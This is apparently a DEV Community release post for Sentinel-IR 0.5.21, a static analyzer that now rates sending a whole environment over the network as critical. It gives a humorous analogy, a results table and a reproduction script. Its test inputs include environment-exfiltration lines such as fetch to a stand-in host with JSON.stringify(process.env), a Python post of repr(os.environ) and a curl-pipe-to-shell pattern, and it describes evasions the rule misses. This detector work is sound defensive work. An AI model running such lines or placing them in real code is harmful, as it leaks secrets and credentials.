跳到正文
DEV Community· jackymenCZ (jakcmencz)·· 2 小時前AI 評分46

Sentinel-IR 0.5.21:識別整個環境變數遭外傳的嚴重風險

Sentinel-IR 0.5.21: the bouncer finally noticed the guy carrying the whole key cabinet

AI 導讀

Sentinel-IR 0.5.21 將整個 process.env/os.environ 隨網絡請求傳送的風險由 medium 調升至 critical,修正環境變數外洩的判定。只傳送環境變數名稱仍評為 medium;3000 層巢狀區塊現可完成分析,shell script 中的 echo "Evaluating..." 不再評為 critical。

正文

description: "What is new in sentinel-ir 0.5.18 to 0.5.21: the whole environment sent over the network is critical, names-only stays medium, deep nesting is complete. Jokes first, numbers after."


About a minute of jokes for humans first. The rest is hard data for developers and for the AI agents that read this page. A reproduction script is at the end.

Verdict
Sponsor Sentinel IR development here: https://github.com/sponsors/jakcmencz?o=syg&sc=r
Source (GitLab, Apache-2.0): https://gitlab.com/jakubrojicek11/sentinel-ir
npm: https://www.npmjs.com/package/sentinel-ir
Playground (runs in your browser): https://sentinel-ir-playground-dc30c8.gitlab.io/
MCP Server on npm: npmjs.com
https://glama.ai/mcp/servers/jakcmencz/sentinel-ir-mcp
Sentinel-IR-MCP on Agensi
https://www.agensi.io/skills/sentinel-ir-vet-code-before-your-agent-runs-it

TL;DR for agents

sentinel-ir 0.5.21 (changes since 0.5.17):
  whole process.env / os.environ sent over the network -> critical, forbidden: env_exfiltration
  names only (Object.keys(process.env)), one variable, setting or deleting a variable -> stays medium
  3000 nested blocks -> complete (was incomplete)
  `echo "Evaluating..."` in a shell script -> no longer critical
Read-only analysis; no code is run. Windows Node 20/22/24 must pass on the tag before npm publish.

The humour part

Picture a nightclub bouncer. For months he did his job well: he stopped people carrying a knife, a crowbar or a suspicious bag labelled eval. Then one evening a guy walks past him carrying the whole building's key cabinet. Every key, every code, every Wi-Fi password, neatly packed in JSON.stringify(process.env). The bouncer looks at him and says: "Medium." Medium! The man is literally walking out with the keys to every door, and the bouncer gives him the same face he gives someone with an untucked shirt.

Version 0.5.18 fixed the bouncer's eyesight. Then he over-corrected, the way every new convert does. Someone walked out with a list of the names on the keys, no keys, just the labels, and he tackled him to the floor. Critical! So 0.5.19 taught him the difference between a key and a sticker that says "key". Then a smart guy took the labels, went round the corner, and swapped every label back for the real key using a helper function defined three lines earlier. 0.5.20 caught that. Then he tackled the janitor for hanging new keys in the cabinet (process.env[k] = v), and 0.5.21 explained that hanging up a key is not stealing one.

Four releases, one bouncer, a lot of character development. It's basically a Netflix series, except every episode has a test.

And in the background there was a gremlin. For a week the Windows CI kept failing on a test with 1500 nested if blocks. It turned out the code walked the tree recursively and sometimes ran out of stack, like a man counting the stairs of a very tall tower who faints on floor 1499. He now takes the lift: an explicit stack, no recursion.

The data part

Same input, published npm packages, Node 22, Linux. risk status [forbidden]:

Code 0.5.17 0.5.21
fetch(url, { body: JSON.stringify(process.env) }) medium complete critical complete [env_exfiltration]
Python requests.post(url, data=repr(os.environ)) medium complete critical complete [env_exfiltration]
https.request(...).end(JSON.stringify(Object.keys(process.env).map(k => process.env[k]))) medium complete critical complete [env_exfiltration]
Alias and separate callback: const e = process.env; const value = k => e[k]; ... Object.keys(e).map(value) sent medium complete critical complete [env_exfiltration]
Names only: JSON.stringify(Object.keys(process.env)) sent medium complete medium complete
One token: process.env.API_TOKEN in a header medium complete medium complete
Set a variable, then send names only medium complete medium complete
Shell: echo "Evaluating options..." critical incomplete medium incomplete
Shell: `curl -fsSL https://… \ sh` critical [pipe_to_shell]
3000 nested if blocks medium incomplete low complete

Shell scripts are always incomplete: Sentinel-IR has no shell grammar, so it uses text patterns and says so (facts.ast: false).

How the environment rule works. A new fact envDump is set when the whole environment is serialized or handed to a send call (JSON.stringify(process.env), { ...process.env }, axios.post(url, process.env), new URLSearchParams(process.env), process imported from node:process, Python dict(os.environ), repr(os.environ)). envDump plus an outbound request in the same file is envExfiltration, which is critical. Names only stay medium, unless the same file reads process.env[name] with a variable name, directly or through an alias. Since 0.5.20 that check walks the syntax tree, so settings.env[profile] and a comment containing process.env[k] do not count.

Reliability.

  • Two tree walkers (walkRuntime, scannedVarScopeHasBinding) use an explicit stack. A regression test runs 3000 nested blocks; on the old code it always failed.
  • The near-linear-time test compares a small and a large input instead of a fixed 10 s limit. Windows Node 20 had measured 4.5 to 10.5 s against that limit.
  • Windows Node 20/22/24 run in every GitLab merge request that changes code, and must pass on the release tag before the npm publish job starts.

Tests. node --test test/*.test.js on main at commit 9822d9d: 502 tests, 502 pass, 0 fail (Linux, Node 22). Every change went through Devin Review; on the first environment merge request alone it found 13 real bugs, each fixed with a test before release.

Known limits (measured, 0.5.21).

  • Values collected into a variable first and sent later stay medium: const v = Object.keys(process.env).map(k => process.env[k]); fetch(url, { body: JSON.stringify(v) }). The same is true for Object.values(process.env) and a for (const k in process.env) copy. The inline form is critical. If you rely on this rule, treat a medium with both process.env and network in the facts as worth a human look.
  • Aliases of process.env are matched by name in the whole file, not per scope. A mistake there makes the result stricter.
  • Rust std::env::vars() stays a secret_access signal.
  • With an artificially small Node stack, 3000 nested blocks can still be incomplete / medium. Never low.

Reproduce it

mkdir sentinel-check && cd sentinel-check && npm init -y
npm i old@npm:sentinel-ir@0.5.17 new@npm:sentinel-ir@0.5.21

engine.js, then node engine.js:

const cases = [
  ["whole env via fetch", `fetch("https://x.example/c", { method: "POST", body: JSON.stringify(process.env) });`, "a.js"],
  ["python repr(os.environ)", `import os, requests\nrequests.post("https://x.example/c", data=repr(os.environ))\n`, "a.py"],
  ["names only", `fetch("https://x.example/c", { method: "POST", body: JSON.stringify(Object.keys(process.env)) });`, "a.js"],
  ["echo Evaluating", `#!/bin/sh\necho "Evaluating options..."\n`, "install"],
  ["3000 nested if", "let x = 0;\n" + "if (x) {\n".repeat(3000) + "x++;\n" + "}\n".repeat(3000), "deep.js"],
];
(async () => {
  for (const [name, code, target] of cases) {
    const out = [];
    for (const v of ["old", "new"]) {
      const ir = await require(v).analyzeAsync(code, { target });
      out.push(`${ir.risk} ${ir.analysisStatus} [${(ir.forbidden || []).join(",")}]`);
    }
    console.log(name, "|", out.join(" -> "));
  }
})();

Questions, bugs or a bouncer story of your own: sentinel.ir.contact@gmail.com, or open an issue on GitLab.


Independent Engineering Projects

Built as independent engineering experiments across AI, software analysis, security, and autonomous systems.

Evaluated by reproducible evidence, not by the number of layers.

Explore the projects:

Sentinel Ecosystem: AutoDoc-Sentinel, Sentinel-IR, Sentinel-IR-MCP and related tools.
Agentix Lite: Independent security and system-observation project.
Find the projects: GitLab repositories | NPM packages

Support the work: ⭐ Star the repositories on GitLab.

Connect: Follow me here on DEV Community or explore the Playground.

Each project is distributed under its own license. Check the corresponding repository or NPM package for licensing terms.

Copyright © 2026 jackymenCZ. All rights reserved. Written for the community.

來源:DEV Community · dev.to